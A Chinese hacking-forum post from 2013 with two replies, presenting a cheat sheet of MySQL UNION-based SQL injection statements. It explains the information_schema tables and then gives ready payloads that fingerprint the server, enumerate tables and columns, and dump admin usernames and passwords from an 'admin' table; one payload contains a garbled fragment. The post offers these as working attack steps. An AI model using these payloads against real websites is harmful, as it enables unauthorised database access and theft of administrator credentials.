查看: 9680|回复: 2

MYSQL注入语句大全

[复制链接]
  • TA的每日心情
    奋斗
    2019-5-22 23:11
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2013-3-1 21:21:36 | 显示全部楼层 |阅读模式
    本文介绍MYSQL盲注的一些语句和方法

    学习盲注前先了解下 IFORMATION_SCHEMA 库

    Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
    存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
    1.得到所有数据库名:
    |SCHEMATA ->存储数据库名的表
    |---字段:SCHEMA_NAME ->数据库名称

    |TABLES ->存储表名
    |---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
    |---字段:TABLE_NAME ->存储表的表名

    |COLUMNS ->存储的字段名表
    |---字段:TABLE_SCHEMA ->该字段所属数据库名
    |---字段:TABLE_NAME ->存储所属表的名称

    |---字段:COLUMN_NAME ->该字段的名称



    ###########################################################################

    0x001 获取系统信息:

    union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da​tabase(),0x3c62723e,database()),7,8,9 /*

    /*

    @@global.version_compile_os 获取系统版本

    @@datadir 数据库路径
    database() 当前数据库名称
    0x3c62723e 换行HEX值

    */



    ######################################################################

    0x002 获取表名

    union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



    /*

    0x67617264656e 为当前数据库名

    group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

    */

    ######################################################################



    0x003 获取字段

    union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

    /*

    group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段

    0x61646d696e ->选择一个表

    0x67617264656e ->数据库名

    */

    #####################################################################



    0x004 获取数据

    union select 1,2,3
    ,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

    union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin



    /*

    0x3c62723e 换行符号HEX编码

    group_concat 同时获得该字段所有数据

    */

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2023-3-20 01:51
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2013-3-1 21:25:57 | 显示全部楼层
    这篇文章好像在哪看过  遗忘了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-3-1 21:47:40 | 显示全部楼层
    mysql 4.0以上开始支持联合查询  5.0以上就有了information_schema   不知道4.+的该怎么拿    ??
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 03:20 , Processed in 0.019184 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部